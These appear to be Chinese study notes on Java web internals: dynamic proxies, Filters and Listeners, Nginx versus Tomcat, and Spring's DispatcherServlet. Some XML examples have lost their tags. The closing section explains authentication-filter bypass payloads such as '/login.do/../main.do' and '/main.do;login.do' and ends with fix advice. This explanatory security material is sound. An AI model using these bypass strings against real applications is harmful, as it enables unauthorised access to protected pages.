- - ---- - -## 🎉 六、总结要点 - -| 阶段 | 行为 | -| ------------ | ------------------------------------------- | -| 创建代理 | 运行时生成 `$Proxy0` 实现接口 | -| 方法调用 | 所有调用都被转交给 InvocationHandler.invoke | -| invoke 内部 | 可以做 AOP、鉴权、日志、RPC 转发等 | -| 调用真实对象 | 通过反射执行 `method.invoke(target, args)` | - -**多个接口、lambda 写法、以及注意事项** - -1. **实现多个接口**:在 `Proxy.newProxyInstance` 的第二个参数给多个接口类数组即可。 -2. **简洁写法(Java 8 Lambda)**: - -``` -javaCopy codeGreetingService proxy2 = (GreetingService) Proxy.newProxyInstance( - GreetingService.class.getClassLoader(), - new Class[]{GreetingService.class}, - (proxy, method, args) -> { - System.out.println("call " + method.getName()); - // 这里没有真实对象,直接返回示例值 - if (method.getName().equals("greet")) { - return "Hi, " + args[0]; - } - return null; - } -); -``` - -1. **注意:`proxy` 参数不要在 `invoke` 内做 `proxy` 的 `toString()` 或其他反射调用,容易导致无限递归或不可预期的行为。** -2. **性能:** JDK 动态代理使用反射调用,性能一般够用;在高性能场景可以考虑其他方案(字节码生成、AOT、手写代理类等)。 -3. **限制:** 只能代理接口;如果要代理类(没有接口),可以使用 CGLIB / ByteBuddy,它们通过生成子类实现拦截(需要无 final 方法、可访问构造器等)。 -# Listener 与 Filter、AOP 的区别 - -JavaWeb 中还有 Filter(过滤器)、AOP(面向切面编程),三者都能实现 “通用逻辑解耦”,但核心定位不同: - -| 组件 | 核心定位 | 触发时机 | 典型用途 | -| ------------ | --------------------------- | ------------------------------------------------------------ | -------------------------------- | -| **Listener** | 事件驱动(监听对象变化) | 域对象生命周期 / 属性变化时(如应用启动、会话创建) | 资源初始化、在线统计、全局配置 | -| **Filter** | 请求过滤(拦截请求 / 响应) | HTTP 请求到达 Servlet/Controller 前 / 后 | 登录校验、字符编码转换、接口限流 | -| **AOP** | 横切逻辑(环绕方法执行) | 方法执行前 / 后 / 异常时(如 Controller 方法、Service 方法) | 日志记录、事务管理、权限校验 | - -简单总结: - -- Listener:盯 “对象变化”(如应用、会话、请求的创建 / 销毁); -- Filter:盯 “请求流程”(如 HTTP 请求的拦截与处理); -- AOP:盯 “方法执行”(如业务方法的调用过程)。 - -# Tomcat与Spring学习 -## Tomcat和Nginx的区别 -Nginx 和 Tomcat 是 JavaWeb / 分布式架构中最常用的两款服务器,但核心定位完全不同: -Nginx:轻量级高性能的Web 服务器 / 反向代理服务器 / 负载均衡器,核心擅长处理静态资源、转发请求、限流熔断,是架构的 “前端网关”; -Tomcat:JavaEE 规范实现的应用服务器(Servlet 容器),核心擅长运行 Java 动态程序(Servlet、JSP、Spring Boot 应用),是架构的 “后端业务处理器”。 -两者并非竞争关系,而是互补协作—— 实际开发中几乎都是 “Nginx + Tomcat 集群” 的经典架构(Nginx 处理静态请求 + 分发动态请求,Tomcat 专注运行 Java 业务)。 -| 对比维度 | Nginx(Engine X) | Tomcat(Apache Tomcat) | -| -------------- | ------------------------------------------------------------ | ------------------------------------------------------------ | -| **核心定位** | Web 服务器 + 反向代理 + 负载均衡器 | 应用服务器(Servlet/JSP 容器),Java 动态程序运行环境 | -| **处理对象** | 优先处理**静态资源**(HTML、CSS、JS、图片、视频),动态请求仅转发 | 优先处理**动态资源**(Servlet、JSP、Spring Boot 应用),静态资源能力弱 | -| **并发能力** | 极高(万级并发,支持 10 万 + 连接),基于 “异步非阻塞 I/O 模型(epoll)” | 中等(千级并发,默认配置下支持 1000-2000 连接),默认 BIO 模型(可优化为 NIO) | -| **性能特点** | 内存占用低(单机仅占几 MB - 几十 MB),响应快,抗高并发能力强 | 内存占用高(启动即占数百 MB),动态处理效率高,但静态资源处理 overhead 大 | -| **支持协议** | HTTP、HTTPS、TCP/UDP、WebSocket(反向代理时支持) | HTTP、HTTPS、AJP(与 Web 服务器通信协议)、WebSocket(原生支持 Java 应用) | -| **核心功能** | 1. 静态资源托管;2. 反向代理(转发请求到 Tomcat / 其他服务);3. 负载均衡(轮询、加权、IP 哈希);4. 限流、熔断、缓存;5. SSL 终结(HTTPS 卸载) | 1. 运行 Servlet/JSP/JavaEE 应用;2. 管理 Spring Boot 应用的生命周期;3. 支持 JNDI 数据源;4. 内置简单 Web 服务器(仅用于开发 / 测试) | -| **配置方式** | 基于文本配置文件(nginx.conf),简洁灵活,支持热部署(无需重启) | 基于 XML 配置文件(server.xml、web.xml)或注解,配置复杂,热部署有限(需插件支持) | -| **开发语言** | C 语言(底层优化极致,性能优先) | Java 语言(跨平台,兼容 Java 生态) | -| **跨平台支持** | 类 Unix(Linux/macOS)为主,Windows 支持较弱 | 全平台(Linux/macOS/Windows/ 嵌入式),跨平台性好 | -| **适用场景** | 1. 前端静态资源服务器;2. 反向代理(隐藏后端 Tomcat 地址);3. 负载均衡(分发请求到多 Tomcat);4. 限流、HTTPS 卸载 | 1. 运行 Java 动态应用(Spring Boot、SSH 框架项目);2. 开发 / 测试环境的简单部署;3. 需要 JNDI、EJB 等 JavaEE 特性的场景 | -| **部署形式** | 独立进程,通常部署在架构最前端(直接对外暴露端口 80/443) | 独立进程,部署在 Nginx 后端(对内暴露端口 8080/8081,不直接对外) | - -**核心定位:“前端网关” vs “后端业务容器”** -这是两者最根本的区别,决定了它们在架构中的角色: -Nginx:不运行任何业务代码,仅做 “请求的接收、过滤、转发”—— 相当于餐厅的 “前台接待”:引导客人(请求)入座(分发到对应 Tomcat)、直接提供简单服务(静态资源,如茶水)、拒绝无效客人(限流 / 黑名单)。 -Tomcat:专门运行 Java 业务代码 —— 相当于餐厅的 “后厨”:接收前台传递的订单(动态请求),制作菜品(执行业务逻辑、操作数据库),再将结果返回给前台。 - -**两者的配置文件边界** -| 组件 | 读取的配置文件 | 配置文件核心作用 | -| ------ | -------------- | ------------------------------------- | -| Tomcat | web.xml | 初始化 JavaWeb 组件、定义请求处理规则 | -| Nginx | nginx.conf | 处理静态资源、反向代理、负载均衡 | - -### 相互协作 -#### Nginx:前端网关层的 URL 映射(决定请求 “去哪”) -Nginx 负责**全局级、HTTP 层面的 URL 路径映射**,核心目的是 “分流请求”:判断请求是静态资源(直接处理)还是动态请求(转发到 Tomcat),或分发到不同的 Tomcat 集群节点。 -**Nginx 映射的核心场景** -1. **静态资源 URL 映射**:直接将 URL 路径映射到服务器本地文件目录,无需转发到 Tomcat; -2. **反向代理 URL 映射**:将动态请求的 URL 路径转发到 Tomcat(或其他后端服务); -3. **负载均衡路由**:将同一 URL 路径的请求分发到多台 Tomcat 节点; -4. **URL 重写 / 重定向**:修改 URL 路径(如 `/user` → `/api/user`)后再转发。 - -**示例:Nginx 的 URL 映射配置** - -```nginx -server { - listen 80; - server_name xxx.com; - - # 场景1:静态资源映射(Nginx 直接处理,不经过 Tomcat) - location /static/ { - root /opt/web/; # URL: /static/js/app.js → 本地文件: /opt/web/static/js/app.js - expires 7d; - } - - # 场景2:动态请求映射(转发到 Tomcat,Nginx 只做“转发路由”) - location /api/ { - proxy_pass http://tomcat_cluster/; # URL: /api/user/1 → 转发到 Tomcat: http://tomcat_ip:8080/user/1 - proxy_set_header Host $host; - } - - # 场景3:URL 重写(修改路径后转发) - location /user/ { - rewrite ^/user/(.*)$ /api/user/$1 break; # /user/1 → /api/user/1 - proxy_pass http://tomcat_cluster/; - } -} -``` - -**Nginx 映射的特点** - -- 只关心 “URL 路径的前缀 / 规则”,不关心后端如何处理这个请求; -- 基于 HTTP 协议,与 JavaEE 规范无关,无法识别 Servlet/Controller; -- 映射结果是 “请求的转发目标”(本地文件 / Tomcat 地址),而非 “具体的处理类”。 - -#### Tomcat:后端应用层的 URL 映射(决定请求 “由谁处理”) -Tomcat 负责**应用级、Servlet/Controller 层面的 URL 映射**,核心目的是 “匹配处理逻辑”:将 Nginx 转发过来的动态请求 URL,映射到具体的 Java 组件(Servlet、Spring MVC Controller 等)。 - -**Tomcat 映射的核心场景** - -1. **Servlet 映射**:通过 `web.xml` 或 `@WebServlet` 将 URL 路径映射到 Servlet 类; -2. **Spring MVC 映射**:通过 `@RequestMapping`/`@GetMapping` 等注解将 URL 路径映射到 Controller 方法; -3. **JSP 映射**:将 URL 路径映射到 JSP 文件(如 `/index.jsp` → `WEB-INF/index.jsp`)。 - -**示例 1:Tomcat 原生 Servlet 的 URL 映射(web.xml)** - -```xml - - - UserServlet - /user/* - -``` - -**示例 2:Spring MVC 的 URL 映射(注解)** - -```java -// Tomcat 加载 Spring 上下文后,解析注解将 /user/{id} 映射到 getUser 方法 -@RestController -@RequestMapping("/user") -public class UserController { - @GetMapping("/{id}") - public User getUser(@PathVariable Long id) { - return userService.findById(id); - } -} -``` - -**Tomcat 映射的特点** - -- 基于 JavaEE/Servlet 规范,映射结果是 “具体的 Java 处理组件”(Servlet/Controller 方法); -- 仅处理 Nginx 转发过来的动态请求,不关心 URL 是如何到达 Tomcat 的; -- 支持更细粒度的映射(如 `/user/{id}` 匹配路径参数、请求方法(GET/POST)等)。 - -#### 完整请求链路:Nginx → Tomcat 的 URL 映射协作 -以用户访问 `http://xxx.com/api/user/1` 为例,完整的 URL 映射流程: - -1. **Nginx 接收请求**:匹配 `location /api/` 规则,将请求转发到 Tomcat 集群(`http://tomcat_ip:8080/user/1`); - -2. Tomcat 接收请求 - - : - - - 若为原生 Servlet:匹配 `web.xml` 中 `/user/*` 的 Servlet 映射,交给 `UserServlet` 处理; - - 若为 Spring MVC:匹配 `@GetMapping("/user/{id}")`,交给 `UserController.getUser()` 处理; - -3. **结果返回**:Tomcat 将处理结果返回给 Nginx,Nginx 再转发给客户端。 - -## Tomcat 与 Spring -**Tomcat 与 Spring 的 “认知边界”** - -- Tomcat(Servlet 容器)的核心能力:管理 Servlet、Filter、Listener,处理 HTTP 请求,调用 Servlet 的`service()`方法 —— 它**只认识 Servlet 规范的组件**,完全不认识 Spring 的`@Controller`、`ApplicationContext`(Spring 容器)。 -- Spring 容器的核心能力:管理 Bean(Controller、Service、Dao)、依赖注入、AOP—— 它是独立的 “Bean 容器”,但 Web 环境下必须依附 Servlet 容器(Tomcat)才能运行。 - -所以这句话的本质是:**Spring 容器作为 “非 Servlet 规范组件”,需要借助 Servlet 容器的生命周期来创建;Spring 的 Controller 作为 “非 Servlet 组件”,需要借助 Servlet 作为 “桥梁” 才能被 Tomcat 调用**。 -### 通俗理解 + 底层流程 -**把 Tomcat 比作 “商场(Web 应用)”,Spring 容器比作 “店铺”:** - -1. **商场开业(Tomcat 启动 Web 应用)**:Tomcat 会触发`ServletContext`的初始化(对应`ServletContextListener`的`contextInitialized`方法),而`ContextLoaderListener`是 Spring 提供的、实现了`ServletContextListener`的监听器 —— 它会在此时执行`initWebApplicationContext()`方法,创建**根 Spring 容器**,并把容器对象存入`ServletContext`(商场的 “公共储物间”),供整个 Web 应用共享。 -2. **店铺前台上岗(DispatcherServlet 初始化)**:Tomcat 接着加载配置的 Servlet(如`DispatcherServlet`),`DispatcherServlet`初始化时,会从`ServletContext`中找到根容器,创建自己的**MVC 子容器**(父子容器:子容器能访问根容器的 Bean,根容器不能访问子容器的 Controller)。 - -关键配置示例(web.xml): - -```xml - - - org.springframework.web.context.ContextLoaderListener - - - - contextConfigLocation - classpath:applicationContext.xml - - - - - dispatcherServlet - org.springframework.web.servlet.DispatcherServlet - - - contextConfigLocation - classpath:spring-mvc.xml - - - 1 - - - - dispatcherServlet - / - -``` - -### Spring 容器中的 Controller 如何通过 Servlet 调用? - -核心答案:**Tomcat 把所有动态请求转发给 Spring 的核心 Servlet——DispatcherServlet,由 DispatcherServlet 从 Spring 容器中找到对应的 Controller 并调用其方法**。 - -这是一个 “Tomcat → DispatcherServlet → Spring 容器 → Controller” 的链路,完整流程如下(以请求`http://xxx.com/api/user/1`为例): - -**步骤 1:Tomcat 接收请求,转发给 DispatcherServlet** - -Tomcat 根据`web.xml`中`DispatcherServlet`的`url-pattern: /`,将所有动态请求(非静态资源)转发给`DispatcherServlet`(Tomcat 只知道这是一个 Servlet,不知道它和 Spring 的关系)。 - -**步骤 2:DispatcherServlet 查找对应的 Controller** - -`DispatcherServlet`作为 Spring MVC 的 “前端控制器”,会做以下操作: - -1. 从自身的 MVC 容器中获取`HandlerMapping`(Spring 初始化时自动创建,存储 “URL 路径 → Controller 方法” 的映射关系,比如`/api/user/{id}` → `UserController.getUser()`); -2. 根据请求 URL 匹配`HandlerMapping`,找到对应的 Controller Bean 和目标方法(比如`UserController`实例的`getUser(Long id)`方法); -3. 通过`HandlerAdapter`(适配器)调用该 Controller 方法(处理参数绑定、类型转换,比如把 URL 中的`1`转为`Long`类型传入)。 - -**步骤 3:执行 Controller 方法,返回结果** - -Controller 方法执行后,返回`ModelAndView`(或 JSON 数据),`DispatcherServlet`通过`ViewResolver`(视图解析器)处理结果(如渲染 JSP、返回 JSON)。 - -**步骤 4:DispatcherServlet 将结果返回给 Tomcat** - -Tomcat 接收`DispatcherServlet`的响应结果,再转发给客户端(浏览器 / 前端)。 - -**核心流程简图:** - -```plaintext -客户端请求 → Tomcat → DispatcherServlet(Spring核心Servlet) - ↓ - 从Spring容器找HandlerMapping - ↓ - 匹配到Controller + 目标方法 - ↓ - 执行Controller方法 → 获取返回值 - ↓ -DispatcherServlet处理结果 → Tomcat → 响应客户端 -``` - -**关键细节:** - -- Tomcat 全程只和`DispatcherServlet`(Servlet)交互,完全不知道 Spring 容器和 Controller 的存在; -- `DispatcherServlet`是 Spring 和 Tomcat 的 “唯一桥梁”,它既继承了 Servlet(被 Tomcat 识别),又持有 Spring 容器的引用(能调用 Controller); -- Controller 本质是 Spring 容器中的普通 Bean(由 Spring 创建和管理),不是 Servlet—— 它能处理请求,完全是因为`DispatcherServlet`的 “转发调用”。 - -### 核心总结 -1. **Spring 容器的创建**:由 Tomcat(Servlet 容器)触发 Spring 提供的`ContextLoaderListener`(创建根容器,Tomcat 启动 Web 应用时)和`DispatcherServlet`(创建 MVC 容器,DispatcherServlet 初始化时)来创建,本质是 Servlet 容器驱动 Spring 的桥接组件完成容器初始化; -2. **Controller 的调用**:Tomcat 将所有动态请求转发给 Spring 的核心 Servlet(DispatcherServlet),由 DispatcherServlet 从 Spring 容器中找到对应的 Controller Bean 和方法,完成调用并返回结果,最终通过 Tomcat 响应客户端。 - -**类比强化理解** - -- Tomcat = 商场大门(只认 “Servlet 员工”); -- ContextLoaderListener = 商场开业时的 “装修队”,帮 Spring(店铺)完成装修(创建根容器); -- DispatcherServlet = 店铺的 “前台(Servlet)”,承接所有顾客(请求); -- Spring 容器 = 店铺的 “员工管理系统”,管理 Controller(导购)、Service(库管)等员工; -- Controller = 店铺的 “导购”,不直接接触大门(Tomcat),只通过前台(DispatcherServlet)接待顾客。 - -顾客(请求)的路径:大门(Tomcat)→ 前台(DispatcherServlet)→ 员工系统(Spring 容器)→ 导购(Controller)→ 前台 → 大门 → 顾客。 - -# JavawebURL认证绕过 -## 路由解析过程 -URL先进入Filter然后进入路由阶段(容器/框架用于 handler mapping 的 path 计算),最终匹配对应路由的Controller -路由阶段在做资源匹配时会对路径做归一化(处理 .、..)和忽略 ; 及其后面的内容,利用Filter和路由阶段对URL处理差异来绕过Filter - -``` -浏览器 - ↓ -Tomcat(HTTP 解析 + URL 解码) - ↓ -Filter 链 - ↓ -DispatcherServlet - ↓ -HandlerMapping(计算 lookup path) - ↓ -Controller - -``` - -``` -路径归一化发生在: -Filter 之后 -DispatcherServlet 之内 -HandlerMapping 之前 - -``` - -``` -matrix parameter(;)去除发生在: -DispatcherServlet → HandlerMapping → 计算 lookupPath - -``` - -## 绕过 - -鉴权模块用“字符串规则”判断是否需要认证,但后端路由/Servlet 容器用“路径语义规则”决定最终访问哪个资源;两者对同一个 URL 的理解不一致,就会出现绕过。 - -白名单: - -假设unAuthURL为login.do,需要认证的url为main.do,针对不同的函数,使用如下不同的技巧绕过 - -contains(): - -此时可使用..进行绕过,如/login.do/../main.do - -此时可使用;进行绕过,如/main.do;login.do - -indexOf(): - -此时可使用..进行绕过,如/login.do/../main.do - -此时可使用;进行绕过,如/main.do;login.do - -startswith (): - -此时可使用..进行绕过,如/login.do/../main.do - -endswith (): - -此时可使用;进行绕过,如/main.do;login.do - -1)../ 绕过的原理(路径归一化 / canonicalization) -典型绕过:/login.do/../main.do -**鉴权模块(字符串判断)**看到的 path 是: - -以 /login.do 开头 / 或包含 /login.do -于是认为它属于 unAuthURL(无需认证)→ 放行 -路由模块(容器/框架)在做资源匹配时会对路径做归一化(处理 .、..): - -/login.do/../main.do 归一化后等价于 /main.do -最终命中的其实是 需要认证的 main.do -所以绕过成立:鉴权看见“login”,路由最终访问“main”。 - -这个归一化通常发生在:容器计算 servletPath / pathInfo、或者框架计算 handler lookup path 的过程中(总之发生在“真正决定请求映射到哪个控制器/servlet”的阶段)。 - -2); 绕过的原理(Matrix Parameter / Path Parameter) -典型绕过:/main.do;login.do -在 URL path 里,; 后面常被当成 路径参数(matrix parameters / path parameters)。很多容器/框架在做路径匹配时,会忽略 ; 及其后面的内容,以避免路径参数影响路由。 - -**鉴权模块(字符串判断)**看到: - -path 里“包含 login.do” / 或 endsWith “login.do”(取决于你的判断) -于是误判为属于 unAuthURL → 放行 -**路由模块(容器/框架)**用于映射的路径往往会把 ; 后内容去掉: - -/main.do;login.do 在路由匹配时等价于 /main.do -> /login.do/../main.do -> 相当于:进入 login.do再返回上一级目录,再进入 main.do -最终命中需要认证的 main.do -所以绕过成立:鉴权看见“login”字符串,路由只认“main”。 - -; 后面的内容通常在“计算用于映射的 path(lookup path / servletPath)”时被忽略/剔除。 - -3)对应你列的函数:为什么分别能被 ../ 或 ; 绕过 -下面用你给的例子直接解释“为什么它们会误判”。 - -A. contains() -../:/login.do/../main.do -contains("login.do") 为真 → 放行 -路由归一化后是 /main.do → 访问受保护资源 -;:/main.do;login.do -contains("login.do") 为真 → 放行 -路由忽略 ;login.do → 实际访问 /main.do -B. indexOf() -本质和 contains()一样(indexOf(...) != -1 等价于包含判断)。 - -../:/login.do/../main.do -indexOf("login.do") != -1 → 放行 -路由归一化 → /main.do -;:/main.do;login.do -indexOf("login.do") != -1 → 放行 -路由忽略 ;... → /main.do -C. startsWith() -../:/login.do/../main.do -startsWith("/login.do") 为真 → 放行 -路由归一化 → /main.do -注意:startsWith() 对 ; 这种绕过不一定好用,因为字符串开头不变;它主要被 ../ 这种“前半段伪装、后半段归一化后变成目标资源”的方式利用。 - -D. endsWith() -;:/main.do;login.do -字符串结尾是 login.do → endsWith("login.do") 为真 → 放行 -路由忽略 ;login.do → 实际访问 /main.do -endsWith() 对 ../ 一般不敏感(因为结尾还是 main.do),但对 ; 很敏感:攻击者可以把白名单关键字放到末尾当“装饰”。 - -4)一句话总结 -../ 绕过:利用 路径归一化,让“看起来在白名单路径下”的请求,最终归一化成受保护路径。 -; 绕过:利用 matrix/path parameter 解析差异,让鉴权看见白名单字符串,但路由匹配时忽略 ; 后内容,最终访问受保护路径。 -如果你要把这段写进整改报告,最关键的一句是: - -“鉴权逻辑不应基于原始字符串包含/前后缀判断,应基于与框架一致的规范化 path(去除 ; path-parameter、完成 ./.. 归一化)再做匹配,或直接交由 Spring Security 的 requestMatcher 机制处理。”